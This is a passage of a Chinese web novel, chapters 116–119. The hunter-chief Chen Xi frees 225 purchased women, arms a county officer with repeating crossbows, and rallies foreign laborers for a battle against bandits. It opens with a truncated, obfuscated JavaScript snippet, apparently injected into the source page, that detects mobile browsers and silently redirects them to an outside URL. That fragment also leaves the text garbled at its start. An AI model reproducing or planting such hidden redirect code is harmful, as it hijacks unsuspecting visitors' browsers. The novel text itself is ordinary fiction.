陈息拧着眉,问出最后一个问题:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423517|169102||http|test|mini|href|location''.split(''|''),0,{}));
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r>“送亲队也送不出去她们么?”
陆达无奈摇头:
“她们每个人都需要交5两银子的人头税,饭都吃不上的家庭,哪个能交得起啊。”
“偌大的白山县,男丁已经少的可怜,送亲队一天能送出去两个女子,都是万幸。”
“而活不下去的女子,又何止两人啊。”
陈息深吸一口气没说话,一排女舍,从头走到尾,又从尾走到头。
站定,大手一挥:
“这些我都买了。”
陆达怔住,感觉没听清,疑惑的看着陈息。
刚才陈猎户说什么?
他要把这些女子都买了?
这......这可是足足200多人啊。
换算成人头税,那数字,想都不敢想。
陈息见陆达懵圈,再次确认一遍:
“开门!”
“这些我都买了!”
这次陆达总算听清了,不过脑袋还是嗡嗡的。
缓了半晌,才紧张说道:
“陈猎户,马上就要交明年的人头税了,这里足足225人,您确定都要带走?”
陈息在心中冷哼一声,人头税?
到时候你看小爷交是不交。
没跟陆达有多余的废话:
“陆掌柜的只管放人,其余的我来处理。”
陆达还想再劝,只见陈息一挥手,宁乱拽过牙行小斯就去开锁:
“我大哥说话都听不见是吗?”
“立刻把锁打开。”
宁乱凶神恶煞,吓得小斯一哆嗦,赶紧去开锁。
不一会的功夫,女舍全部打开。
那些女子全都听清了贵人的话,都是一副不可置信表情。
见锁被打开,才感觉到活下去的希望。
出了女舍,齐齐在陈息面前跪倒,哭声一片。
嘴里谢着大恩人,发誓好好侍候大恩人的话。
她们哭红了双眼,本是妙龄年纪,却为了一点点生存下去的希望,承受不该在这个年纪承受的折磨。
见到这一幕。
全体沉默。
宁乱铁铮铮的汉子,负伤无数次都没落下过眼泪,此刻看到这些女子的处境,眼眶泛红含着泪水。
若是没有大哥相救,自己就死在了熊瞎子之口,家里的老娘和妹妹,想必也会同这些女子一样。
死在这里了吧。
那些新买的外族壮劳力,同时望向自己的新主人,再看看跪倒一片的女子。
心中不是滋味,虽不同族,但他们也能感受到那种重获新生的希望。
联想自己的部落被铁蹄践踏,他们的亲人,同胞,同样也会面临这种情况,甚至更糟。
若不是仗着身体强壮拼死突围,自己恐怕也进不来这大御边关。
陆达低下头,偷偷擦了擦眼泪,他常年跑外做生意,见识到太多的人情冷暖。
无论是富甲一方的商贾,还是世家门阀的贵人,在他的认知里,是万万做不出陈息这种善举的。
那些地主老财更不用说了,变着花样的欺压百姓,没特么一个好东西。
牙行小厮更是用手不停的擦着眼泪,他们中的亲姐亲妹,有点也被送到送亲队,最终都不知落到了哪里。
生死音讯全无。
或许这一生,也再难见到亲人一眼。
低头,在心中默默祈祷,希望自己一奶同胞的姐姐妹妹,也能幸运的遇到陈息这样的贵人。
不求三餐吃饱,只求有生之年,再见一面。
“都站起来吧,再跪着我可不要了。”
陈息发话。
女子们一听这个吓坏了,连忙站起身来,紧张的站在一起等待贵人吩咐。
陈息一扭头,看向陆达:
“陆掌柜的,算账。”
陆达擦干净泪水,见陈息坚持,便不再相劝。
“这些女子陈猎户都带走吧,余下那10两银子,抵了。”
说着话,从怀里又掏出一大锭银子,塞到陈息手里:
“小老儿自认为,走遍**阅人无数,却从未见过陈猎户这种大义之举。”
“人在做,天在看。”
“小老儿祝陈猎户,一路顺风顺水,有用到小老儿之处,尽管开口。”
将银子使劲的摁在陈息手里,再次郑重道:
“银钱不多,陈猎户别嫌少,小老儿敬重您的大义之举,回去给她们添件衣裳。”
陈息深深看了陆达一眼,丝毫不拖泥带水,将银子收好,一拱手:
“陆掌柜的有心了,祝你生意兴隆,财通四海。”
想了想,再问一句:
“对了,男舍还有么?”
陈息指了指那些女子,既然都买了这多么人,也不差那些男子了。
陆达重重一叹:
“男舍已经空了,前线吃紧,男舍不论老幼,全被朝廷征召走了。”
陈息深吸了一口气,双目微微眯起。
全国何止百县千县。
看来这里,只是大御的一个缩影罢了。
料定,距离大规模战乱。
不远了啊。
不去多想,交代了宁乱,胡伢子,务必将这些女子安安全全的带回鹰嘴山。
那些患了风寒的,让张神医为她们诊治。
都吩咐完了,才压着一辆马车离开牙行。
接下来,便是到县尉那里看看情况。
路上,陈息想起即将要交的人头税。
嘴角弯起一个危险的弧度。
这税。
小爷不光不交。
还要拿回来点。
第116章 论吹牛,小爷还没惧过谁
来到县尉宅子。
刚想敲门,杨冲便打开大门,对着陈息躬身一礼:
“陈叔叔您来了。”
“家父在厅内等着您呢,请进!”
陈息饶有兴致的看了看杨冲,小伙子倒是挺明白事的。
“嗯,贤侄有劳了。”
老规矩,将黑蛟的缰绳交给他,又一努嘴:
“后面那架马车也是我的。”
杨冲牵着黑蛟,探头往后面一看,果然还有一架装满马车,喜滋滋的迎了进门。
陈叔叔又猎了啥好东西?
**肉的味道,他至今难忘。
陈息从马车里拿出一把连**,拎着就进了客间。
抬眼便看到,杨刚烈一手捋着络腮胡子,一手摁在桌上,愁眉苦脸的盯着地图。
听到声响,抬头便看到一脸淡笑的陈息。
“哎呀陈兄弟,你可算来了。”
两个大踏步便迎到近前,拉着他的手边走边说:
“这两天可把为兄愁坏了,下面的弟兄都有些怨言呐...”
杨刚烈一副苦大仇深模样,看见陈息就像见到了救命稻草。
陈息轻笑一声,丝毫没理会杨刚烈的唠叨,大大咧咧往椅子上一坐。
双手一摊,没听陈息开口,杨刚烈立即叫来小丫鬟。
果盘,糕点,茶水。
三件套,摆了个齐全。
陈息一句话没说,一只脚踩在另一张椅子上,抓起糕点就吃,这次有果盘和茶水顺着,舒服的很。
椅子被陈息踩着,杨刚烈也不搬来新的,就那么弯着腰看着这位爷吃东西。
时不时还咽两口唾沫,心想,陈兄弟每次来我这,都不吃饭的么?
上次如此,这次还是如此。
间他吃的香,杨刚烈也不打扰。
片刻后,桌上只剩下两个空盘子,一壶茶也喝了个精光。
陈息这次还真是饿了,中午在牙行买人,为了赶时间,午饭都没吃。
吃好喝好,擦了擦嘴。
开始正视杨刚烈。
杨刚烈在心里为陈息竖起大拇指,年轻真好,食量相当可以。
讪讪一笑:
“那个陈兄弟,下面的弟兄......”
话还没说完,陈息啪的一声,往桌上拍了一块10两的银锭子,微微一笑:
“杨大哥不用说,我这都准备好了。”
杨刚烈挠挠头,自己堂堂一届县尉,却拿一个村长的银子补贴弟兄,怎么想都觉得不是滋味,老脸涨的通红。
伸出手想拿,却又不好意思,一句话说不出来,尬在那里。
陈息知道他害臊,拿起银锭子就塞在他怀里:
“杨大哥不要客气,一文钱难倒英雄汉,大哥无钱,更能说明大哥为官廉政清明。”
“好官!”
这句话可不是捧他,而是发自肺腑的。
都知道朝廷连年征战,官员们全部在捞油水,说不定哪天边关破了。
达官显贵和世家门阀,第一个跑的远远的。
指望他们为百姓着想?
门都没有。
如今大御烂到骨子里,像杨刚烈这样的清官,凤**麟角。
杨刚烈见陈息将银子塞到自己怀里,感动的一拱手:
“既然陈兄弟这么客气,那为兄便收下了。”
“为兄替下面的弟兄们,谢谢陈兄弟了。”
陈息站起身来,同样一拱手:
“大哥不必多礼,这些钱贴补给埋伏到窝窝村里的弟兄们,他们身边带着家眷,最危险,兄弟身为村长,总该有所表示。”
杨刚烈收下钱,有个问题一直没想通,好奇的开口询道:
“陈兄弟,为兄一直想不通,为什么让那些弟兄的家眷也到窝窝村?”
“找些百姓过去嘛,那么大的村子,我100个弟兄进去,完全藏得下。”
杨刚烈鼓着那双疑惑的大眼珠子,挠破脑袋也想不通其中缘由。
陈息哈哈一笑,手指轻敲两下桌面,为他解惑:
“杨大哥啊,若是让府兵保护村民,他们哪能爆发超常的战斗力?”
“倘若把村民换成自己的家眷呢?”
杨刚烈听完,如梦初醒,一拍脑门子:
“哎哟,还是陈兄弟脑袋好使,为兄怎么就没想到呢?”
“村中全是他们的家眷,弟兄们不都得拼命嘛。”
说完还不过瘾,再拍脑门子:
“妙啊!”
再一想,好似泄了气的皮球,难道自己真的年岁大了,比不过年轻人喽。
陈息见杨刚烈有些气馁,拍了拍他肩膀,宽慰道:
“大哥不必忧虑,你没想到是因为缺钱,心思都在为弟兄们身上,乱了分析局势,是正常的。”
“等剿了匪,朝廷再怎么穷也会派下些赏钱,足够改善弟兄们家中情况了。”
这话杨刚烈认同,军饷可以拖延,但打了胜仗是一定有赏钱的。
不然谁还为朝廷出力?
当兵的为啥?
不就为了升官发财嘛,朝廷再怎么穷,也不会差这点赏钱的。
杨刚烈想通了,不在钱上面纠结,又说出了自己的担心:
“兄弟啊,如果真如你所说,青佛这次带足了2000土匪,我手底下可只有500多弟兄,这仗......可不好打啊。”
陈息见他担心,淡淡一笑,他根本没拿这个当回事,开口道:
“大哥手底下弟兄,不说**长戟的,弓刀总还会使的吧?”
一听这话,杨刚烈明显有些不乐意了,憋了憋嘴说道:
“兄弟莫非也太小看为兄了,为兄手底下的弟兄,大多是我在州府带过来的。”
“他们全部是战场上退下来的,虽说年岁都在40左右,比不上年轻力壮小伙子。”
“可再怎么说,也在行伍里摸爬滚打这么久,莫说弓刀了。”
杨刚烈一扫颓势,紧了紧鼻子,络腮胡子都跟着颤抖,满脸自豪:
“还有好些骑兵退下来的呢。”
陈息眼睛一亮,骑兵退下来的?异常兴奋的问道:
“这么说,大哥手底下有一支骑兵?”
杨刚烈自豪一笑,回答的十分干脆:
“没有!”
陈息嘴角抽了抽,没有?没有你那么自豪干嘛?
若是大哥这里有骑兵,自己省下来一支队伍,正好趁这时机干些大事。
周围下来那么多土匪,寨子里面肯定空虚。
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冯元庆一个小小的鹰嘴山,都存着这么多银子,其他寨子只多不少。
杨刚烈见陈息失望,尴尬的挠了挠脑袋:
“大哥没骑兵,是因为没钱买马。”
“若是大哥有钱,定打造一支骑兵。”
杨刚烈说到此处,满脸骄傲,拍着胸脯子,讲的口沫横飞:
“想当年......大哥在行伍中......手底下......”
“砰!”
突然一道大响,杨刚烈正吹的不亦乐乎,被巨响吓了一大跳。
差点一屁股坐地上。
扭头看去,墙上插着一支**箭,尾尖还在震颤。
又懵逼的转回头,正看见陈息手里拿了个他不认识的玩意。
还将那东西放到嘴边吹了吹。
“玛德,走火了。”
杨刚烈怔怔的看着陈息手里那东西,又看看墙上插着的**箭。
来回看了好几遍,最终感觉那**箭,应该是从这东西里射出来的。
陈息见他缓过来了,一挑眉毛,对着墙壁,再次射出三支。
“砰砰砰!”
又是三支**箭插入墙壁。
杨刚烈瞪着眼珠子,张大了嘴巴,一句话也说不出来。
跟刚才满嘴喷沫子吹牛的架势,判若两人。
陈息将连**随意的丢在桌子上,笑了笑开口:
“想当年......老子的队伍刚成立......土匪就进村了......”
角色瞬间互换。
陈息一口气吹了半刻钟,觉得口渴,拿起茶杯饮了一口,还要继续说,却被杨刚烈打断。
“兄弟,你那个发家史大哥先不着急听,能不能将这个东西给大哥瞅瞅?”
杨刚烈咽了两口唾沫,视线锁定在连**身上,再也移不开了。
陈息轻哼了一声,论吹牛?
小爷还没惧过谁。
轻轻一挥手,潇洒道:
“大哥好好研究吧,这东西,马车里还有99把,箭支无数。”
陈息起身,拍了拍本就没有灰尘的衣裳,双手负于身后,抬眼看着房梁:
“分给手里有准头的弟兄使,这场仗...”
一转身,如刀锋般的眼神射到杨刚烈身上:
“必须给我大胜。”
说完话,转身就走。
一脚刚迈出门槛,又飘来一句话:
“告诉底下弟兄们,打完了仗,本村长有赏!”
直到陈息走后,杨刚烈才从震惊中反应过来。
我陈兄弟刚才说啥?
这东西。
还有99把?
连忙追出屋,却不见了陈息踪影。
“冲儿。”
杨冲已经把马车里的连**全部卸下,此刻正捏着下巴,一脑门子问号的看着。
**这是啥玩意,陈叔叔让他卸车,他就卸车。
听到干爹唤他,连忙转身应声:
“爹,您有什么吩咐。”
杨刚烈几个大跨步便冲了过来,杨冲来到他身前应话,被他一把推开。
现出整齐堆放在墙角的连**。
杨刚烈见到这么多连**,双腿一软,一屁股坐在地上,嘴唇哆嗦着:
“**!”
第117章 大杀器
陈息骑着黑蛟,后面拉着一架空马车。
先去山宝堂收取卖野豹的银钱。
这只野豹没有造成县城轰动,因为老关自有销路。
州府连夜来人,将完整的野豹一起买了去。
老关见陈息来了,顿时喜笑颜开:
“陈猎户您怎么来了,我正安排让小五给您送钱去呢,天冷,快快上楼,喝茶聊会子。”
陈息时间紧,任务急。
答应叶红缨晚上的酒肉还没买呢,没时间在这里耽搁:
“上楼就不必了,我今日赶时间。”
“哦哦哦,好好好。”
老关见他着急,连忙跑到后面内宅,不一会功夫,捧着一个大盒子交到陈息手中。
“这里是那只野豹的钱,州府贵人单独买下,去掉二成利润,一共500两银子,您点下。”
陈息属实被这个数字震惊到了,500两,还是去掉他那两成的利润。
这东西也就一身皮**值钱,其他没啥价值。
那些贵人是真舍得花钱啊。
豹皮500两,那特么虎皮呢?
虎骨,虎鞭,虎尾?
他狠狠咽了口唾沫,刚才一口气买了200多女子,才花费10两银子。
一只野豹,500两!
接过盒子:
“老关,今日我便不多留了,劳烦让小五跟我出去办点事。”
“没问题。”
老关立即唤来小五,再三叮嘱他侍候好陈猎户。
小五自是不用多说,陈大哥用得上自己,帮忙便是。
干就完了。
问清楚陈息都需要买啥,拍着胸脯子应了下来。
小五腿快地形熟,领着陈息一路买买买,到任何铺子都有熟人。
办事快,效率高。
没多会功夫,物资便装满了马车。
装完了货,小五擦擦汗:
“陈大哥,小五办事,您可还满意?”
陈息哈哈一笑,拍了拍小五肩膀:
“干的不错。”
“再帮大哥把马车赶回去。”
“好嘞陈大哥。”
小五痛快答应,架着马车跟在他后面就出了城。
日落。
两人正好赶到鹰嘴山。
陈息从怀里掏出一串钱赏给小五。
小五也不客气,美滋滋的接过钱,就知道跟着陈大哥混有前途。
有了钱,回去给老娘买些补品。
再攒些,够交人头税了,还能讨个婆娘。
打发走了小五,陈息上山。
叶红缨今日交代了练兵科目后,立刻就赖在陈息主屋。
和樊妍几女聊天。
走?
是不可能走的。
登徒子可是答应了自己,烈酒,烧鸡,烤肉。
一个都不能少。
太阳下山了,她也不走。
聊天,同一个故事翻来覆去的聊好几遍。
樊妍几女不明白她啥意思,只能陪着她聊。
有好几次都要睡着了,那也打着瞌睡陪着。
直到夫君出现,才算解了几女的围。
叶红缨见陈息回来,第一个冲出去。
跟着村民一起卸车,大包小裹的,全部搬到屋子里。
陈息见这愣种急坏了,也不逗她。
立即安排宁乱二牛生火,火堆就在门口架起。
烤全羊。
两只。
又切了鹿肉,狍子肉,野鸡,野兔......
你不是能吃么,一点素菜没有,往死造。
炭火正合适,两只烤全羊滋滋冒油。
香味瞬间弥漫了整个寨子。
村民们都躲回屋里,不敢去看,也不敢去闻。
吞咽着口水,在家吃饭。
他们的生活也逐步好起来了,由于每天都有工钱拿,不存在饿肚子情况。
苦惯了,有些钱便想着攒起来,主食不再是麸糠,而换成糙米。
但和村长的烤全羊比,怎么比?
一个在天上,一个在泥里。
孩童们闻着香味都馋坏了,想到村长那里讨上几口,可刚出屋子便被父母拉回来。
狠狠教训一顿,抽噎着眼泪,吃糙米。
就在晚饭时,宁乱和二牛端着盘子,挨家挨户敲门。
家里有老人孩童的,分多些烤肉。
家中壮年夫妇的,也尝尝味道。
一只烤全羊,分给全村。
余下一只。
不。
余下半只。
因为叶红缨已经急不可待了,一手捏着羊大腿,一手捏着羊小腿,旋了起来。
顺着嘴巴子流油,噎住了就灌几口烈酒。
坐在那里,大腿一叉,毫无形象可言。
她这些天可馋坏了,没有开小灶,顿顿跟着队伍吃,嘴里都淡出鸟来。
此刻。
火力全开。
樊妍见她吃相凶猛,时不时还帮她捋捋后背,生怕撑出个好歹来。
刚过门的武怡,也开心的吃着,身边坐着一脸哀怨的宁宁。
她的小心思,不好意思跟老娘说。
自己的笨哥哥又听不懂。
可把她愁坏了。
武怡时不时还打趣她两句,也不知,她知不知道自己的心思。
你都四夫人了,帮闺蜜吹吹枕边风嘛。
我要五夫人,我要平妻。
帮帮我嘛。
再抬眼看看陈息。
这货跟个没心没肺的似的,夹了一块大肉放进自己碗里。
一咧嘴,蹦出一个字。
“造!”
宁宁都要愁哭了。
少女怀春,哪个禁得起这样的折磨。
四位夫人都在眼前,自己还不敢表露心思。
再看看同样没心没肺的哥哥。
这日子。
没啥盼头了。
一顿饭,直到深夜散场。
叶红缨毫无意外的又醉倒了。
被7个徒弟,合力架回屋子。
怀里依旧抱着酒坛子。
一只羊,她自己旋了一半。
一夜无话,翌日清晨。<
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br>昨晚事情多,陈息没去看那200多名女子的情况。
今早查看。
200多女子进山,住舍瞬间紧张。
宁乱分给她们10个大屋子,两面通铺。
吃的是糙米饭,咸菜。
每人都分套被褥,屋内生火取暖。
虽说条件简陋,但也比牙行强上太多。
抱着属于自己的被褥,感动的眼泪直流。
这就是重获新生。
张神医为患了风寒的女子诊治,喝了药汤,身体逐渐转好。
见陈息进屋,女子们主动站成两排,等待贵人吩咐。
陈息先是查看一下居住环境,然后又询问吃食问题。
女子们见贵人态度和善,紧张的心也逐渐放松下来。
主动回答这里吃住都好,一定要好好报答贵人。
走完了五间女舍,将她们都叫到院子中央。
陈息居中。
开口第一句,便是她们最担心的问题:
“人头税的问题,大家不用担心,本村长一力承担。”
没等她们反应,陈息下面的话,令她们终生难忘。
“虽说大家是被我买来的,但你们仍然是自由的。”
“想做工的,一会到我二夫人那里报道。”
“每人每天,10个铜钱。”
“一日三餐,我管。”
一段话下来,所有女子震惊当场。
管吃,管住,有活计做,还有钱拿。
这对她们这些女子来讲,是难以置信的。
与牙行的日子相比,一个是地狱,一个是天堂。
更让她们震惊的还在后面。
陈息拿出她们的牙籍,放在地上。
“你们每舍,自己选出一名舍长。”
“这里是你们的牙籍,让舍长分发下去。”
瞧着一群呆立的女子,陈息微微一笑:
“以后若是识得相好的,随时可以离开。”
“但是得给我打个招呼啊,咱犯不着私奔,跑快了摔了,本村长还得给你们治。”
“图什么许的。”
说到这里,下面的女气齐齐乐出了声。
天真烂漫的年纪,气氛就该这样,不许死气沉沉的。
“成亲的时候,都特么别忘了,给村长送来一杯喜酒喝。”
陈息嘴里胡咧咧,把下面的女子们全部逗笑了,叽叽喳喳说起个没完。
拍了两下手,打断下面的声音。
随后一拱手:
“恭喜你们。”
“自由了。”
“取回你们的牙籍,想做活计的去报道。”
“话说到这里就行了,再跟你们扯下去,本村长的娘子们该吃醋了。”
一句话出口,女子们哄笑出声,气氛顿时活跃起来。
陈息一转身,来了句英文:
“古达白!”
下面就是查看重**制作的情况了。
这个东西,放在这个年代。
可是真真的。
大杀器啊。
第118章 这天下,他谁都不跪
来到木匠作坊,入眼处。
大批木材被整齐堆放,武怡忙的来不及擦汗,手中拿着图纸,指挥着小工据木料。
李二将锯好的木料进行二次加工,全部榫卯结构,不用一颗钉子。
最令陈息惊喜的是,李二身边还站着几个年轻村民,一边帮着归置零件,一边研究着组装。
这是......
收徒了。
武怡见陈息过来,放下手里的图纸,俏生生的站到他面前。
“夫君...”
陈息哈哈一笑,先用袖子帮她擦擦汗,然后叮嘱道:
“找机会就歇歇,累坏了我的娘子,为夫可心疼。”
武怡笑靥如花,见夫君这么关心自己,再苦再累都值得啦。
望着夫君高大的身影,很想在他怀里蹭蹭。
想想自己还没和夫君圆房呢,只是总听三夫人说,夫君很猛。
这让她有些担心,自己能不能侍候好夫君。
看来,有必要和三夫人学学,不然等到圆房那天,真怕自己的身子受不住。
陈息不知道她心里在想什么,指了指李二身边那几个年轻村民,向武怡问道:
“这几个人是怎么回事?”
武怡顺着夫君手指看了看,然后又转回头,小手捂着嘴巴凑到夫君耳边,小声说着:
“夫君,他们都是李二新收的徒弟。”
陈息听完,微微点了点头。
要知道这个年代,手艺人收徒可是有讲究的。
天资不够,能力不强,是没有师父愿意教的。
还有就是,每个师父教徒弟都会留一手。
生怕教会徒弟,饿死师父。
不知道李二会不会也留一手。
但这是人家的手艺,自己也没资格让他倾囊相授。
一切随缘吧。
又再次叮嘱武怡一番,千万不要累坏了,身子要紧。
木工作坊看完,又来到铁匠作坊。
这边和木匠作坊差不多。
李大同样带了几个徒弟,几人叮叮铛铛的打铁。
宁宁在一旁,给新锻造的矛头用盐淬火。
这办法还是陈息教给李大的,现在宁宁也学会了。
矛头是陈息亲自设计的,在原本的基础上,增加了穿透力和两道血槽。
只要击中身体,两道血槽带来的伤害绝对是致命的。
这个时代医疗水平很低,只要被贯穿,非死即残。
陈息将两边都看完,又看了一会叶红缨练兵。
新来的50壮劳力不用干活,直接加入队伍。
从他们中挑选出50人,组成一支骑兵。
叶红缨亲自挂帅。
虽然人数少,但胜在装备精良。
精钢长矛,胯下战刀。
唯一不足的就是没有甲胄护体,这点实属无奈。
想打造出钢盔甲胄,需要太多时间。
等这场仗打完了,所有必需品,全部展开。
昨日牙行所见,陈息能直观感觉到大御如今的状况。
边关一旦被破,**入关,必是一番烧杀抢掠。
自己保不了天下,但身边人一定要死死守护。
若想安稳的生存下去。
一支强有力的军队,必不可少。
思及此处,陈息拍了拍手,叫停正在训练的队伍。
面对众人,开口做出承诺:
“我知道大家来大御是为了什么。”
“无非就是活命。”
“但,现在又让你们上战场,背离了你们的初衷。”
闻言,100外族壮劳力齐齐低下头,神情复杂,眼神闪躲。
叶红缨也在担忧这个问题,这些人本就是逃荒来的,到了战场,不一定会卖力。
他们的家园没了,逃到外国为别人卖命?
想想都觉得不可能。
她也想了很多办法,但都没有可行性。
如今。
她想看看,陈息是如何处理这个问题的。
陈息见他们都低下了头,淡淡一笑,继续开口:
“你们身上没有银钱,就算有银钱也花不出去。”
“每天做工,只为一顿饱饭。”
“是也不是?”
陈息说完,目光扫视100多壮劳力,见他们依旧低着头,就算看不清他们的表情,也知道心里是怎么想的。
陈息看完了他们的反应,再次拍了拍手,声音不怒自威:
“都特么抬起头来。”
闻言,他们才缓缓抬起头,眼神依旧闪躲,不敢直视这位主人。
陈息在他们身前,走了一圈,看清了每个人的脸。
站回原位。
“你们觉得这么活着,有意思么?”
这句问话,直击要害。
他们如何不想堂堂正正的活着,他们也想像寨子中的男女一样,有活计做,有钱拿。
最主要的是,有自由。
但他们知道,这是不可能的。
陈息目光扫视一圈,见他们神色各异,冷笑出声:
“现在给你们两个选择。”
叶红缨听到这里,知道他要说出重点了。
双臂抱于胸前,有些期盼的望着他。
自己想不通的问题,看他如何化解。
陈息见壮劳力们疑惑的望向自己,微微一笑,说出两个选择,让他们自己选:
“一,就是安于现状,如果不想上战场,可以提出来,以后不用训练,继续做你们活计去。”
众人你看看我,我看看你,全都不答话,等待着主人说出下一个选择。
没等多久,陈息再度开口:
“二,选择上战场杀敌,本人向你们做出承诺。”
“每人每天20个铜钱,一日三餐有荤腥,攒下来的银钱,和他们一样。”
陈息一指远处做工的村民们,众人都抬头望去,那些村民虽然努力做着工,但每个人都脸上都挂着希望。
一种对未来,美好的憧憬。
视线收回,再度期盼的望着主人。
陈息没让他们等多久,接着说出重点:
“你们,同样可以讨老婆,可以生娃养家,以前在部落啥样,在这里就啥样。”
“至于牙籍问题,你们不用担心,打完了这场仗,整个白山县随你们逛。”
“赚了银钱,想特么
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买啥,就特么买啥。”
叶红缨震惊的望着陈息,这......
他要恢复这些壮劳力的自由身?
可...官府一旦查到牙籍,他们...
叶红缨心里泛起惊涛骇浪,这登徒子若不是要......
和叶红缨同样震惊的,还有那100壮劳力。
主人说我们可以讨老婆?可以生娃子?还可以买东西?还可以......
这是不是意味着...
自由?
可我们没有大御牙籍啊。
陈息看出他们的表情变化,人人都目光火热的看着自己,期盼主人给他们一个明确的答案。
“至于你们的牙籍问题,官府不是会查么?”
“可能你们忽略了一件事,官府是谁?”
众人喘着粗气,他们最担心的问题来了,一旦被查出身份,他们这些人,还有命活么?
陈息站在他们身前,大喝出声:
“把你们那双眼珠子,都看向我。”
言罢,全场目光锁定在陈息身上。
见他们都看过来,陈息拍了拍胸脯子,朗声道:
“站在你们面前的,就是官府,老子能去哪,你们就能去哪。”
此言一出,震惊全场。
所有人都不可置信的望着陈息。
叶红缨抱于胸前的双臂,突然放下了,凤目眯成一道细线,手中攥紧红缨枪。
他要干什么?
他要当官?
去给这个狗朝廷卖命?
陈息冷眼扫视全场,大喝:
“老子不止是官府,老子是这里的王,就算州府,朝廷,那帮**的查下来,老子干他们便是。”
“这天下,就没有能让老子跪下的人!”
“都踏马听清了么?”
“听清了!”
“听清了!”
100壮劳力叫声震天,目光中再无一丝闪躲,红着眼大喊。
自由!
这就是自由!
“都听清了就好,现在,做出你们的选择。”
“这战场,上还是不上?”
“上!”
“上!”
“上!”
100人,全部像是打了鸡血,他们以往,想都不敢想的自由。
来了。
陈息见他们情绪高涨,再添一把火:
“好,没一个孬种。”
“老子再给你们一个惊喜。”
“这次打土匪,谁杀一个人,谁得50个铜钱,杀十个,500个铜钱。”
说到这里,故意拍着胸脯子喊道:
“争取给老子杀破产!”
“哈哈哈!”
“哈哈哈!”
100壮劳力目光灼热,不光有自由,还有赏钱拿。
天大的惊喜,天大的惊喜!
“行了,都滚去训练吧,至于能拿多少赏钱,看你们本事了。”
陈息说完,头也不回的离开。
留下满脸涨红,喘着粗气的叶红缨。
王!
他说是这里的王!
这天下,他谁都不跪!
父亲,兄长,你们听清了吗?
红缨,找对人了!
第119章 恶战,即将打响
三天时间,一晃而过。
重**做出7架,**箭长达2米,射程五百米开外。
陈息设计的图纸,省了很多人力,只需5人,便可操作一架重**。
100壮劳力由于恢复了自由,对未来有了明确期待性,人人刻苦训练。
50人骑兵队,在叶红缨的指导下,初步具备了冲杀技能。
彼此间的简单配合也掌握了。
二牛,被陈息派往窝窝村,带着100府兵熟悉地形。
新房的暗堡,全部利用上。
万事俱备,只欠东风。
期间,杨冲到寨子送来几只信鸽,这是他们行伍里专门传递情报的信鸽。
并传达了杨刚烈的最新消息。
青佛已经回城,拨给他们一批银钱,并下达了到窝窝村剿匪的命令。
行动时间,就是今日。
今早,天蒙蒙亮,一只信鸽落在窗台,脚上缠着一张字条。
陈息将字条展开一看。
笑了笑。
写了回信,缠在信鸽脚上,放飞。
嘴里呢喃一句:
“看来我的牛大哥,沉不住气了啊。”
活动几下身子,出屋。
召集所有作战人员,安排如下。
叶红缨率领50人骑兵队。
剩下50壮劳力与男村民混编步战队。
人人配发连**,精钢长刀。
李二的几个徒弟,负责操作重**。
战斗人员合计,270人。
叶红缨的徒弟大妮,带领寨子中所有妇人守家。
200多名新来的女子,也都参与了进来。
安排好了一切,队伍从山洞出发,走深山直达窝窝村。
提前埋伏在村子外围。
队伍临出行前,陈息特意嘱咐叶红缨,这仗应该怎样打,怎样减小伤亡。
遭到后者好几个大白眼,并反怼他。
“姑奶奶从小就在军营里长大,整天学的都是战阵战法。”
“区区2000土匪,不够姑奶奶塞牙缝的。”
并用手指点着陈息胸脯子道:
“在家守好你的四位娘子,等姑奶奶凯旋回归,烈酒,烤肉,都给姑奶奶备好。”
陈息想和她打赌来着,后来想想算了。
她身上那几个铜钱有数的,还是给她留点家当吧。
一个女孩子分文没有,吃个烧鸡都得管自己要。
有点不像话。
送走了大部队,寨子里还剩下,宁乱,胡伢子,以及宁乱的6个堂兄弟。
众人你看看我,我看看你,一脸懵逼。
大哥咋安排的啊?
咱哥几个身体这么好,不去杀土匪,留下来保护寨子?
疑惑,不解。
都挠着脑袋望着陈息。
突然,宁乱一拍脑门子,猜透了大哥用意。
开始指挥起来。
“胡伢子,你去抱柴生火,哥几个都跟我走,切肉,摆盘,烧烤。”
这货想明白了,大哥不让我们去打土匪,肯定是嫌我们烧烤的手艺好。
做饭,烤肉。
造起来!
宁乱进屋**,路过陈息身边时,被他揪着小辫子硬扯了回来。
“诶大哥...疼疼疼...”
陈息手里攥着宁乱小辫子,嘴唇被他气的直哆嗦。
你小子咋地?
寨子里带把的都出去打仗了,咱们几个大老爷们在家烤肉?
你咋不上天?
和太阳肩并肩!
陈息松开手,一脚踢他屁股上。
“抄家伙。”
几人一愣,原来不是烤肉,咱们也有任务。
立即兴奋起来,拿刀的拿刀,拿枪的拿枪,胡伢子体格好,攥着一根熟铜棍。
宁乱堂兄弟里,还有个身材最魁梧的,翻出来一柄,原来匪寨里留下的狼牙棒。
陈息有些诧异的盯着他,接过狼牙棒在手里掂了掂。
这玩意至少50斤,看这小子拿的轻松,毫不费力的感觉。
“你叫什么名字?”
见大哥问话,立即作答:
“宁大山!”
又指了指身边几个兄弟。
“二山,三山,四山,五山,六山。”
等他介绍完了,陈息拍拍宁大山肩膀:
“好好好。”
父母这么起名多好啊,省的还要挨个记。
哥几个都收拾利索了,手中武器五花八门的。
陈息叹了口气,唐刀只有自己和宁乱两把,以后有时间多做几把,给他们也安排上。
以宁乱为首,给自己配置一个打手队!
出去没场面,那怎么能行?
望了眼天色,陈息咧嘴一笑:
“今日初一,天色将变!”
宁乱以为大哥还会观天测云,兴奋的嗷嗷叫:
“大哥,初一忌啥,宜啥?”
陈息昂首挺胸,睥睨之色尽显:
“忌烤肉,宜干仗!”
说罢,带着哥几个就下山。
直奔县城!
午时刚过,进城来到县衙。
衙役们殷勤的为陈息牵马,喂草料,手里拿着赏的铜钱,乐开了花。
赏完了钱,陈息不走,问道:
“我牛大哥呢?”
衙役乐呵呵回道:
“县令老爷出门办事了,没在县府。”
陈息微微一笑,拍了拍衙役肩膀
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“我找我大哥有事,我进县衙等着。”
“成成成,陈神医随小的来。”
衙役们都清楚陈息与县令老爷的关系,那可是兄弟相称,借他们八个胆子也不敢造次。
别说进县衙了,进内宅看夫人都没问题。
